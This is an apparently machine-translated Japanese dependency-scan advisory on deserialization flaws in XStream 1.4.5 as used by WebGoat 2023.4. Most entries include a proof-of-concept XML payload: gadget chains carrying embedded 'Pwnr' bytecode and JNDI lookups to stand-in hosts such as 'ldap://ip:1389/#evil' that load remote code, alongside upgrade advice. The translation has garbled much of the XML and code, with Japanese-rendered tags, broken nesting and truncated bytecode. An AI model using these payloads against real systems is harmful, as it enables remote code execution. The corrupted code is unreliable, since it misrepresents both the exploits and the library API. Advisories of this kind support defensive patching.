com.thoughtworks.xstream:xstream をバージョン 1.4.14 以上にアップグレードします。

## 参考文献

- [GitHubコミット](#)

- [概念実証](#)
- [XStreamアドバイザリ](#)
- [核テンプレート](#)

[この脆弱性の詳細](#)

高重症度

### 信頼できないデータのデシリアライズ

- パッケージ マネージャー: maven
- 脆弱なモジュール: com.thoughtworks.xstream:xstream 導入元:
- org.owasp.webgoat:webgoat@2023.4 および com.thoughtworks.xstream:xstream@1.4.5

#### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 > com.thoughtworks.xstream:xstream@1.4.5

### 概要

[com.thoughtworks.xstream:xstream](#)オブジェクトを XML にシリアル化し、またその逆を行なうシンプルなライブラリです。

このパッケージの影響を受けるバージョンは、信頼できないデータのデシリアライゼーションに対して脆弱です。この脆弱性により、リモート攻撃者は、CPUの種類に応じて標的システム上でCPU時間を100%割り当てたり、処理済みの入力ストリームを操作するだけで、このようなペイロードを並列実行してサービス拒否攻撃を引き起こす可能性があります。

#### 概念実証

```
<java.util.PriorityQueue serialization='custom'> <unserializable->
  parents/> <java.util.PriorityQueue>
  <default> <size>2</size>
  <comparator
    class='javafx.collections.ObservableList$1'> </default> <int>3</int>

<com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data> <dataHandler>
  <データソースクラス='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
    <js class='java.io.ByteArrayInputStream'> <buf></buf>

    <pos>-2147483648</pos>
    <mark>0</mark>
    <count>0</count> </
    is>
    <consumed>false</consumed>
  </dataSource>
  <transferFlavors/> </
  dataHandler>
  <dataLen>0</dataLen>
</com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
<com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data 参照 ='./com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
  </java.util.PriorityQueue>
</java.util.PriorityQueue>
```

[推奨](#)に従うユーザー最小限必要なタイプに制限されたホワイトリストを使用して XStream のセキュリティ フレームワークを設定すると、影響を受けません。

### 詳細

シリアル化とは、オブジェクトをディスクやデータベースに保存したり、ストリームを通じて送信したりできるバイト シーケンスに変換するプロセスです。

バイト列からオブジェクトを作成する逆のプロセスは、デシリアライゼーションと呼ばれます。シリアル化とは、通信（複数のホスト間でオブジェクトを共有する）や永続化（オブジェクトの状態をファイルやデータベースに保存する）によく使用されます。これは、Remote Method Invocation (RMI)、Java Management Extension (JMX)、Java Messaging System (JMS)、Action Message Format (AMF)、Java Server Faces (JSF)といった一般的なプロトコルに不可欠な要素です。ViewStateなど

信頼できないデータのデシリアライゼーション ([CWE-502](#)) は、アプリケーションが、結果のデータが有効であることを十分に検証せずに信頼できないデータをデシリアライズし、攻撃者が実行の状態やフローを制御できるようにすることです。

Javaのデシリアライゼーション問題は長年知られていました。しかし、2015年に、悪用されリモートコード実行を可能にする可能性のあるクラスが[人気ライブラリ](#) (Apache Commons Collection)で発見されたことで、この問題への関心は大きく高まりました。これらのクラスは、IBM WebSphere、Oracle WebLogic、その他多くの製品に影響を与えるゼロデイ攻撃で使用されました。

攻撃者は、脆弱なクラスがパス上に存在し、信頼できないデータに対してデシリアライズを実行するソフトウェアを特定するだけで済みます。あとは、ペイロードをデシリアライザに送信し、コマンドを実行するだけです。

開発者はJavaオブジェクトのシリアル化ーションに過度の信頼を置いています。中には認証前にオブジェクトをデシリアライズする開発者もいます。Javaでオブジェクトをデシリアライズする場合、通常は想定される型にキャストするため、Javaの厳格な型システムにより、有効なオブジェクトツリーのみが取得されます。しかし、型チェックが行われる頃には、プラットフォームコードが既に重要なロジックを作成し、実行しています。そのため、最終的な型がチェックされる前に、様々なオブジェクトのreadObject()メソッドから大量のコードが実行されますが、これらはすべて開発者の制御外にあります。脆弱なアプリケーションのクラスパス上で利用可能な様々なクラスのreadObject()メソッドを組み合わせることで、攻撃者は関数 (Runtime.exec()を呼び出してローカルOSコマンドを実行することを含む) を実行できます。

### 修復

com.thoughtworks.xstream:xstream をバージョン 1.4.16 以上にアップグレードします。

### 参考文献

- [XStreamアドバイザリ](#)
- [XStreamの変更履歴](#)
- [XStream の回避策](#)

高重症度

## 任意のコード実行

- パッケージ マネージャー: maven
- 脆弱なモジュール: com.thoughtworks.xstream:xstream 導入元:
- org.owasp.webgoat:webgoat@2023.4 および com.thoughtworks.xstream:xstream@1.4.5

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 > com.thoughtworks.xstream:xstream@1.4.5

### 概要

[com.thoughtworks.xstream:xstream](#)オブジェクトを XML にシリアル化し、またその逆を行なうシンプルなライブラリです。

このパッケージの影響を受けるバージョンは、任意のコード実行の脆弱性があります。この脆弱性により、Javaランタイムバージョン14~8、またはJavaFXがインストールされたバージョンを使用している場合、処理済みの入力ストリームを操作するだけで、リモート攻撃者がリモートホストから任意のコードをロードして実行できる可能性があります。XStreamのセキュリティフレームワークを、必要最小限の種別に限定したホワイトリストで設定するという推奨事項に従ったユーザーは影響を受けません。XStream 1.4.18では、汎用的なセキュリティ対策としてブラックリストをデフォルトで使用しなくなりました。

#### 概念実証

```
<java.util.PriorityQueue serialization='custom'> <unserializable-parents/> <java.util.PriorityQueue>
<default> <size>2</size>
<comparator

class='com.sun.java.util.jar.pack.PackageWriter$2'> <outer-class> <verbose>0</verbose>
<effort>0</effort>
<optDumpBands>false</optDumpBands>
<optDebugBands>false</optDebugBands>
<optVaryCodings>false</optVaryCodings>
<optBigStrings>false</optBigStrings>
<isReader>false</isReader>
<bandHeaderBytePos>0</bandHeaderBytePos>
<bandHeaderBytePos0>0</bandHeaderBytePos0>
<archiveOptions>0</archiveOptions>
<archiveSize0>0</archiveSize0>
<archiveSize1>0</archiveSize1>
<archiveNextCount>0</archiveNextCount>
<attrClassFileVersionMask>0</attrClassFileVersionMask>
<attrIndexTable
class='com.sun.javafx.fxml.BeanAdapter'>
<bean クラス='com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' シリアル化='カスタム'>
<com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
<デフォルト
> <__name>Pwnr</__name>
<__bytecodes> <バイナリ配列>yv6vgAAADIAQoAAwAiBwA3BwAiBwAmAQAc2VyaWFsVmVyc2lvbVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/0R3e8+AQAGPGluXQ+AQADKCIWAQAEQ29kZQEAD0xpbmVodW1iZXJUYWJs </バイナリ配列>
>yv6vgAAADIAQwoAwAVBwAXBwAYBwAZAQAc2VyaWFsVmVyc2lvbVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluXQ+AQADKCIWAQAEQ29kZQEAD0xpbmVodW1iZXJUYWJs
</__bytecodes>
<__transletIndex>-1</__transletIndex>
<__indentNumber>0</__indentNumber>
<default>
</com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl> </bean>

<localCache>
<メソッド>
<entry>
<string>getOutputProperties</string> <list>
<method>
<class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class>
<name>getOutputProperties</name>
<parameter-types/> </parameter-types>
<method> </method>
<list> </list>
<entry> </entry>
<methods> </methods>
<localCache> </localCache>
<attrIndexTable>
<shortCodeHeader __h_limit>0</shortCodeHeader __h_limit>
</outer-class> </outer-class>
<comparator> </comparator>
<default>
<int>3</int>
<文字列配列> <文字列>出
列>xxxx</文字列> <文字列>出
力プロパティ</文字列> </文字列配列> <文字列配列>
列> <文字列>yyyy</文字列>
字列> <文字列配列>
</java.util.PriorityQueue>

</java.util.PriorityQueue>
```

```
XStream xstream = 新しい XStream();
xstream.fromXML(xml);
```

### 修復

com.thoughtworks.xstream:xstream をバージョン 1.4.18 以上にアップグレードします。

## 参考文献

- [XStreamアドバイザリ](#)
- [XStreamの変更履歴](#)

[この脆弱性の詳細](#)

高重症度

## 任意のコード実行

- パッケージ マネージャー: maven
- 脆弱なモジュール: com.thoughtworks.xstream:xstream 導入元:
- org.owasp.webgoat:webgoat@2023.4 および com.thoughtworks.xstream:xstream@1.4.5

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 > com.thoughtworks.xstream:xstream@1.4.5

### 概要

[com.thoughtworks.xstream:xstream](#)オブジェクトを XML にシリアル化し、またその逆を行なうシンプルなライブラリです。

このパッケージの影響を受けるバージョンは、任意のコード実行の脆弱性を抱えています。この脆弱性により、リモート攻撃者は処理済みの入力ストリームを操作するだけで、リモートホストから任意のコードをロードして実行できる可能性があります。XStreamのセキュリティフレームワークを、必要最小限の種別に限定したホワイトリストで設定するという推奨事項に従ったユーザーには、この脆弱性は適用されません。XStream 1.4.18では、汎用的なセキュリティ対策としてブラックリストをデフォルトで使用しなくなりました。

### 概念実証

```
<java.util.PriorityQueue serialization='custom'> <unserializable-
parents/> <java.util.PriorityQueue>
<default> <size>2</size> </
default>
<int>3</int>
<dynamic-
proxy>

<interface>java.lang.Comparable</interface> <handler
class='com.sun.xml.internal.ws.client.sei.SEIStub'>
<owner/>
<managedObjectManagerClosed>false</managedObjectManagerClosed> <データバ
インディングクラス='com.sun.xml.internal.ws.db.DatabindingImpl'> <stubHandlers>

<エントリ
> <メソッド
> <クラス>java.lang.Comparable</クラス> <名前
>compareTo</名前> <パラメー
タ型> <クラス
>java.lang.Object</クラス> </パラメータ型>
</メソッド>

<com.sun.xml.internal.ws.client.sei.StubHandler>
<bodyBuilder クラス='com.sun.xml.internal.ws.client.sei.BodyBuilder$DocLit'>
<インデックス
> <int>0</int> </
インデックス>
<getters>
<com.sun.xml.internal.ws.client.sei.ValueGetter>PLAIN</com.sun.xml.internal.ws.client.sei.ValueGetter> </getters>

<アクセサ>
<com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor_-2> <val_-
isJAXBELEMENT>false</val_isJAXBELEMENT> <val_getter クラ
ス='com.sun.xml.internal.ws.spi.db.FieldGetter'>
<type>int</type>
<field>
<name>hash</name>
< clazz>java.lang.String< clazz> </field> </
val_
getter> <val_-
isListType>false</val_isListType> <val_n>

<namespaceURI/>
<localPart>hash</localPart> <prefix/
> <val_n>
<val_setter
class='com.sun.xml.internal.ws.spi.db.MethodSetter'> <type>java.lang.String</type>
<method>

<class>javax.naming.InitialContext</class>
<name>doLookup</name>
<パラメータ型> <クラス
>java.lang.String</クラス> </パラメータ型>
</メソッド> <val_setter>
<外部クラス
> <プロパティ
Setters> <エントリ
> <文字列

>serialPersistentFields</文字列>
<com.sun.xml.internal.ws.spi.db.FieldSetter> <型
>[Ljava.io.ObjectStreamField;< type> <フィールド> <名前
>serialPersistentFields</名前>
< clazz>java.lang.String< clazz>
```

```

</フィールド>
</com.sun.xml.internal.ws.spi.db.FieldSetter> </entry>

<entry>
<string>CASE_INSENSITIVE_ORDER</string>
<com.sun.xml.internal.ws.spi.db.FieldSetter>
<type>java.util.Comparator</type> <field>

<name>CASE_INSENSITIVE_ORDER</name>
<clazz>java.lang.String</clazz> </field>

</com.sun.xml.internal.ws.spi.db.FieldSetter> </entry>

<entry>
<string>serialVersionUID</string>
<com.sun.xml.internal.ws.spi.db.FieldSetter> <type>long</
type> <field>

<name>serialVersionUID</name>
<clazz>java.lang.String</clazz> </field>

</com.sun.xml.internal.ws.spi.db.FieldSetter> </entry>

<エントリ>
<><文字列>値</文字列>
<com.sun.xml.internal.ws.spi.db.FieldSetter>
<type>[C</type>
<field>
<name>値</name>
<clazz>java.lang.String</clazz> </field>

</com.sun.xml.internal.ws.spi.db.FieldSetter> </entry>

<entry>
<string>hash</string>
<com.sun.xml.internal.ws.spi.db.FieldSetter> <type>int</
type> <field>
<reference>'../../../../val_getter/field'</reference>
</com.sun.xml.internal.ws.spi.db.FieldSetter> </entry> </

propertySetters>
<propertyGetters>
<entry>
<string>serialPersistentFields</string>
<com.sun.xml.internal.ws.spi.db.FieldGetter>
<type>[Ljava.io.ObjectStreamField;</type> <field>
<reference>'../../../../propertySetters/entry/com.sun.xml.internal.ws.spi.db.FieldSetter/field'</reference>
</com.sun.xml.internal.ws.spi.db.FieldGetter> </entry>

<entry>
<string>CASE_INSENSITIVE_ORDER</string>
<com.sun.xml.internal.ws.spi.db.FieldGetter>
<type>java.util.Comparator</type> <field>
<reference>'../../../../propertySetters/entry[2]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'</reference>
</com.sun.xml.internal.ws.spi.db.FieldGetter> </entry>
</entry>

<string>serialVersionUID</string>
<com.sun.xml.internal.ws.spi.db.FieldGetter> <type>long</
type> <フィールド参照
=../../../../propertySetters/entry[3]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'</reference>
</com.sun.xml.internal.ws.spi.db.FieldGetter> </entry>

<エントリ>
<><文字列>値</文字列>
<com.sun.xml.internal.ws.spi.db.FieldGetter>
<type>[C</type> </
イールド参照'../../../../propertySetters/entry[4]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'</reference>
</com.sun.xml.internal.ws.spi.db.FieldGetter> </entry>
</entry>

<string>hash</string>
<com.sun.xml.internal.ws.spi.db.FieldGetter reference='../../../../val_getter'> </entry> </propertyGetters>

<elementLocalNameCollision>false</elementLocalNameCollision>
<contentClass>java.lang.String</contentClass>
<elementDeclaredTypes/> </
outer-class>
</com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor_-2> </accessors>

<wrapper>java.lang.Object</wrapper>
<bindingContext class='com.sun.xml.internal.ws.db.glassfish.JAXBRIContextWrapper'> <dynamicWrapper>false</
dynamicWrapper> </bodyBuilder> <isOneWay>false</
isOneWay>

</com.sun.xml.internal.ws.client.sei.StubHandler> </entry> </

stubHandlers>
<clientConfig>false</clientConfig> </
databinding>
<methodHandlers>
<エントリ>
<><メソッド参照='../../../../databinding/stubHandlers/entry/method'>
<com.sun.xml.internal.ws.client.sei.SyncMethodHandler>
<所有者参照='../../../../'><メソッド参照
='../../../../databinding/stubHandlers/entry/method'> <isVoid>false</isVoid> <isOneway>false</
isOneway> </

com.sun.xml.internal.ws.client.sei.SyncMethodHandler> </entry> </

methodHandlers> </
handler> <文字
列>ldap://ip:1389/#evil</文字列>
</java.util.PriorityQueue>

```

&lt;/java.util.PriorityQueue&gt;

```
XStream xstream = 新しい XStream();
xstream.fromXML(xml);
```

## 修復

com.thoughtworks.xstream:xstream をバージョン 1.4.18 以上にアップグレードします。

## 参考文献

- [XStreamアドバイザリ](#)
- [XStreamの変更履歴](#)
- [核テンプレート](#)
- [GitHubでの概念実証](#)

[この脆弱性の詳細](#)

高重症度

## 任意のコード実行

- パッケージ マネージャー: maven
- 脆弱なモジュール: com.thoughtworks.xstream:xstream 導入元:
- org.owasp.webgoat:webgoat@2023.4 および com.thoughtworks.xstream:xstream@1.4.5

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 > com.thoughtworks.xstream:xstream@1.4.5

### 概要

[com.thoughtworks.xstream:xstream](#)オブジェクトを XML にシリアル化し、またその逆を行なうシンプルなライブラリです。

このパッケージの影響を受けるバージョンは、任意のコード実行に対して脆弱です。この脆弱性により、リモート攻撃者は処理済みの入力ストリームを操作するだけで、リモートホストから任意のコードをコードして実行できる可能性があります。影響を受けるのは、JDK 1.7u21以前のバージョンをそのまま使用しているユーザーのみです。ただし、このシナリオは、Javaランタイムのバージョンに関係なく動作する外部Xalanに簡単に調整できます。XStreamのセキュリティフレームワークを、必要最小限の型に限定したホワイトリストで設定するという推奨事項に従ったユーザーには影響はありません。XStream 1.4.18では、汎用的なセキュリティ対策としてブラックリストをデフォルトで使用しなくなりました。

### 概念実証

```
<リンクされたハッシュセット>
<com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl シリアル化='カスタム'>
<com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
<デフォルト
  ><__name>Pwnr</__name>
  <__bytecodes><
    バイト配列>yv66vgAAADIAQoAAwAiBwA3BwAlBwAmAQAc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKCIWAQAEQ29kZQEAD0xpbmV0dW1iZXJUYWJsZQEAEkxvY2 <バイト配列
    >yv66vgAAADIAQwAAwAVBwAXBwAYBwAZAQAc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKCIWAQAEQ29kZQEAD0xpbmV0dW1iZXJUYWJsZQEAEkxvY2
  </__bytecodes>
  <__transletIndex>-1</__transletIndex>
  <__indentNumber>0</__indentNumber><
  default>
</com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
</com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl> <dynamic-proxy>

<interface>javax.xml.transform.Templates</interface> <handler
  class='sun.reflect.annotation.AnnotationInvocationHandler' serialization='custom'>
<sun.reflect.annotation.AnnotationInvocationHandler>
<デフォルト
  ><メンバー値>
  <entry>
    <string>f5a5a608</string>
    <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 参照='../../../../com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl'/> </entry> </memberValues> <type>javax.xml.transform.Templates</
  type> <
  default>

  </sun.reflect.annotation.AnnotationInvocationHandler> </handler> <
  dynamic-
  proxy> </linked-hash-
  set>
```

```
XStream xstream = 新しい XStream();
xstream.fromXML(xml);
```

## 修復

com.thoughtworks.xstream:xstream をバージョン 1.4.18 以上にアップグレードします。

## 参考文献

- [XStreamアドバイザリ](#)
- [XStreamの変更履歴](#)

高重症度

## 任意のコード実行

- パッケージ マネージャー: maven
- 脆弱なモジュール: com.thoughtworks.xstream:xstream 導入元:
- org.owasp.webgoat:webgoat@2023.4 および com.thoughtworks.xstream:xstream@1.4.5

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 > com.thoughtworks.xstream:xstream@1.4.5

### 概要

[com.thoughtworks.xstream:xstream](#)オブジェクトを XML にシリアル化し、またその逆を行なうシンプルなライブラリです。

このパッケージの影響を受けるバージョンは、任意のコード実行の脆弱性を抱えています。この脆弱性により、リモート攻撃者は処理済みの入力ストリームを操作するだけで、リモートホストから任意のコードをロードして実行できる可能性があります。XStreamのセキュリティフレームワークを、必要最小限の種別に限定したホワイトリストで設定するという推奨事項に従ったユーザーには、この脆弱性は適用されません。XStream 1.4.18では、汎用的なセキュリティ対策としてブラックリストをデフォルトで使用しなくなりました。

#### 概念実証

```
<javax.swing.event.EventListenerList のシリアル化='カスタム'>
<javax.swing.event.EventListenerList><デフォルト><
  リスナーリスト
  >
  <javax.swing.undo.UndoManager>
    <hasBeenDone>true</hasBeenDone>
    <alive>true</alive>
    <inProgress>true</inProgress> <edits>

  <com.sun.xml.internal.ws.api.message.Packet>
    <メッセージクラス='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
      <parsedMessage>true</parsedMessage>
      <soapVersion>SOAP_11</soapVersion>
      <bodyParts/>
      <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
        <attachmentsInitialized>false</attachmentsInitialized> <multiPart
          class='com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart'>
          <soapPart/>
          <mm>
            <it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
              <aliases class='com.sun.jndi.ldap.LdapBindingEnumeration'> <cleaned>false</
                cleaned> <entries>

              <com.sun.jndi.ldap.LdapEntry>
                <DN>cn=4,cn=3,cn=2,cn=1</DN> <attributes
                  class='javax.naming.directory.BasicAttributes' serialization='custom'> <javax.naming.directory.BasicAttribute>
                    <default> <ignoreCase>false</ignoreCase> </default>
                    <int>4</int>
                    <com.sun.jndi.ldap.LdapAttribute

                      serialization='custom'> <javax.naming.directory.BasicAttribute> <default>
                      <ordered>false</ordered> <attrID>objectClass</attrID>
                      </default>
                      <int>1</int> <文字列
                        >javanamingreference</文字列> </

                      javax.naming.directory.BasicAttribute>
                      <com.sun.jndi.ldap.LdapAttribute> <デフォルト> <rdn ク
                        ラス='com.sun.jndi.ldap.LdapName' シリアル化
                        ='custom'>
                        <com.sun.jndi.ldap.LdapName> <文字列>cn=4,cn=3,cn=2,cn=1</文字列> <布尔值>false</
                          ブール値> </com.sun.jndi.ldap.LdapName>
                        </rdn> </デフォルト>

                      </com.sun.jndi.ldap.Ldap属性>
                      </com.sun.jndi.ldap.LdapAttribute>
                      <com.sun.jndi.ldap.LdapAttribute serialization='custom'>
                        <javax.naming.directory.BasicAttribute> <default>

                        <ordered>false</ordered>
                        <attrID>javaCodeBase</attrID> </
                          default>
                        <int>1</int>
                        <string>http://127.0.0.1:8080/</string> </
                          javax.naming.directory.BasicAttribute>
                        <com.sun.jndi.ldap.LdapAttribute> <default>

                        </com.sun.jndi.ldap.Ldap属性>
                        </com.sun.jndi.ldap.LdapAttribute>
                        <com.sun.jndi.ldap.LdapAttribute シリアル化='custom'>
                          <javax.naming.directory.BasicAttribute>
                            <default>
                              <ordered>false</ordered>
                              <attrID>javaClassName</attrID> </default>
                              <int>1</int>
                              <string>refObj</
                                string> </
                                  javax.naming.directory.BasicAttribute>
                                <com.sun.jndi.ldap.LdapAttribute>
```

```

<デフォルト/>
</com.sun.jndi.ldap.Ldap属性>
</com.sun.jndi.ldap.LdapAttribute>
<com.sun.jndi.ldap.LdapAttribute シリアル化='custom'>
<javax.naming.directory.BasicAttribute>
<default>
<ordered>false</ordered>
<attrID>javaFactory</attrID></
default>
<int>1</int>
<string>ExecTemplateJDK7</string></
javax.naming.directory.BasicAttribute>
<com.sun.jndi.ldap.LdapAttribute>
<デフォルト/>
</com.sun.jndi.ldap.Ldap属性>
</com.sun.jndi.ldap.LdapAttribute></
javax.naming.directory.BasicAttribute>
</attributes></
com.sun.jndi.ldap.LdapEntry></entries>
<limit>2</
limit><posn>0</
posn><homeCtx/
><more>true</
more>
<hasMoreCalled>true</hasMoreCalled></
aliases></it>
</mm>
</
multiPart></
sm></
message></
com.sun.xml.internal.ws.api.message.Packet></edits>

<indexOfNextAdd>0</indexOfNextAdd>
<limit>100</limit></
javax.swing.undo.UndoManager>
</listenerList></
default>
<string>java.lang.InternalError</string>
<javax.swing.undo.UndoManager reference='../default/listenerList/javax.swing.undo.UndoManager'><null/></
javax.swing.event.EventListenerList>
</javax.swing.event.イベントリスナリスト>

```

```

XStream xstream = 新しい XStream();
xstream.fromXML(xml);

```

## 修復

com.thoughtworks.xstream:xstream をバージョン 1.4.18 以上にアップグレードします。

## 参考文献

- [XStreamアドバイザリ](#)
- [XStreamの変更履歴](#)

[この脆弱性の詳細](#)

高重症度

## 任意のコード実行

- パッケージ マネージャー: maven
- 脆弱なモジュール: com.thoughtworks.xstream:xstream 導入元:
- org.owasp.webgoat:webgoat@2023.4 および com.thoughtworks.xstream:xstream@1.4.5

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 > com.thoughtworks.xstream:xstream@1.4.5

### 概要

[com.thoughtworks.xstream:xstream](#)オブジェクトを XML にシリアル化し、またその逆を行うシンプルなライブラリです。

このパッケージの影響を受けるバージョンは、任意のコード実行の脆弱性を抱えています。この脆弱性により、リモート攻撃者は処理済みの入力ストリームを操作するだけで、リモートホストから任意のコードをロードして実行できる可能性があります。XStreamのセキュリティフレームワークを、必要最小限の種別に限定したホワイトリストで設定するという推奨事項に従ったユーザーには、この脆弱性は適用されません。XStream 1.4.18では、汎用的なセキュリティ対策としてブラックリストをデフォルトで使用しなくなりました。

### 概念実証

```

<ソートされたセット>
<javax.naming.ldap.Rdn_RdnEntry>
<type>テスト</type>
<value class='javax.swing.MultiUIDefaults' serialization='custom'>
<unserializable-parents></ハッシュ
ユーティリティ
<default>
<loadFactor>0.75</loadFactor>
<threshold>525</threshold></
default>
<int>700</int>
<int>0</int>

```

```

</ハッシュユーテーブル
><javax.swing.UIDefaults><デフォ
ルト><デフォ
ルト><zh_CN><デフォルトロケール>
<resourceCache/><デ
フォルト></
javax.swing.UIDefaults>
<javax.swing.MultiUIDefaults><デフォルト
><テーブル>

<javax.swing.UIDefaults serialization='custom'>
<unserializable-parents/> <ハッシュユーテ
ーブル> <default>

<loadFactor>0.75</loadFactor>
<threshold>525</threshold> <
default>
<int>700</int>
<int>1</int>
<string>lazyValue</string>
<javax.swing.UIDefaults_-ProxyLazyValue>
<className>javax.naming.InitialContext</className>
<methodName>doLookup</methodName>
<args>
<string>ldap://127.0.0.1:1389/#evil</string> </args> <
javax.swing.UIDefaults_-ProxyLazyValue> </hashtable>

<javax.swing.UIDefaults> <default>
<defaultLocale
reference='../../../../../../../../javax.swing.UIDefaults/default/defaultLocale'> <resourceCache/> </default> </javax.swing.UIDefaults>

</javax.swing.UIDefaults> </tables>
</default> </

javax.swing.MultiUIDefaults> </value> </

javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>テスト</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>テスト</m__obj> </value> </

javax.naming.ldap.Rdn_-RdnEntry> </sorted-set>

```

```
XStream xstream = 新しい XStream();
xstream.fromXML(xml);
```

## 修復

com.thoughtworks.xstream:xstream をバージョン 1.4.18 以上にアップグレードします。

## 参考文献

- [XStreamアドバイザリ](#)
- [XStreamの変更履歴](#)
- [核テンプレート](#)

[この脆弱性の詳細](#)

高重症度

## 任意のコード実行

- パッケージ マネージャー: maven
- 脆弱なモジュール: com.thoughtworks.xstream:xstream 導入元:
- org.owasp.webgoat:webgoat@2023.4 および com.thoughtworks.xstream:xstream@1.4.5

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 > com.thoughtworks.xstream:xstream@1.4.5

### 概要

com.thoughtworks.xstream:xstreamオブジェクトを XML にシリアル化し、またその逆を行なうシンプルなライブラリです。

このパッケージの影響を受けるバージョンは、任意のコード実行の脆弱性を抱えています。この脆弱性により、リモート攻撃者は処理済みの入力ストリームを操作するだけで、リモートホストから任意のコードをロードして実行できる可能性があります。XStreamのセキュリティフレームワークを、必要最小限の種別に限定したホワイトリストで設定するという推奨事項に従ったユーザーには、この脆弱性は適用されません。XStream 1.4.18では、汎用的なセキュリティ対策としてブラックリストをデフォルトで使用しなくなりました。

### 概念実証

```

<ソートされたセット>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>ysomap</type>
<value class='com.sun.xml.internal.ws.api.message.Packet' シリアル化='custom'>
<メッセージクラス='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
<parsedMessage>true</parsedMessage>
<soapVersion>SOAP_11</soapVersion>
```

```

<bodyParts/><sm
class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'> <attachmentsInitialized>false</
attachmentsInitialized> <multiPart>
<soapPart/>
<mm>
<it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
<エイリアス クラス = 'com.sun.jndi.toolkit.dir.ContextEnumerator'>
<children class='javax.naming.directory.BasicAttribute$ValuesEnumImpl'> <list
class='com.sun.xml.internal.dtdparser.SimpleHashtable'>
<現在> <ハッシュ
ユ>1</ハッシュ> <キー
クラス='javax.naming.Binding'> <名前>ysomap</名
前> <isRel>false</isRel>

<boundObj クラス = 'com.sun.jndi.ldap.LdapReferralContext'>
<refCtx クラス = 'javax.naming.spi.ContinuationDirContext'>
<cpe>
<stackTrace/>
<suppressedExceptions クラス = 'java.util.Collections$UnmodifiableRandomAccessList' 解決先 = 'java.util.Collections$UnmodifiableList'>
<c クラス ='リスト'> <リス
ト参照 = '../c'>
</suppressedExceptions>
<resolvedObj クラス='javax.naming.Reference'> <className>EvilObj</
className> <addrs/> <classFactory>EvilObj</
classFactory>
<classFactoryLocation>http://127.0.0.1:1099/<
classFactoryLocation>
</resolvedObj>
<altName クラス = 'javax.naming.CompoundName' シリアル化 = 'custom'>
<javax.naming.CompoundName>
<properties/>
<int>1</int>
<string>ysomap</string> </
javax.naming.CompoundName> </
altName> </
cpe> </
refCtx>
<skipThisReferral>false</skipThisReferral> <hopCount>0</
hopCount> </boundObj> </key>
</current>

<currentBucket>0</currentBucket> <count>0</
count> <threshold>0</
threshold> </list> </children>

<currentReturned>true</currentReturned>
<currentChildExpanded>false</currentChildExpanded> <rootProcessed>true</
rootProcessed> <scope>2</scope> <aliases> </it>
</mm> </multiPart> </
sm> </

message> </
value>
</

javax.naming.ldap.Rdn_RdnEntry>
<javax.naming.ldap.Rdn_RdnEntry>
<type>ysomap</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>テスト</m__obj> </value> </
value>

javax.naming.ldap.Rdn_RdnEntry> </sorted-set>

```

```
XStream xstream = 新しい XStream();
xstream.fromXML(xml);
```

## 修復

com.thoughtworks.xstream:xstream をバージョン 1.4.18 以上にアップグレードします。

## 参考文献

- [XStreamアドバイザリ](#)
- [XStreamの変更履歴](#)

[この脆弱性の詳細](#)

高重症度

## 任意のコード実行

- パッケージ マネージャー: maven
- 脆弱なモジュール: com.thoughtworks.xstream:xstream 導入元:
- org.owasp.webgoat:webgoat@2023.4 および com.thoughtworks.xstream:xstream@1.4.5

## 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 , com.thoughtworks.xstream:xstream@1.4.5

**概要**

[com.thoughtworks.xstream:xstream](#)オブジェクトを XML にシリアル化し、またその逆を行なうシンプルなライブラリです。

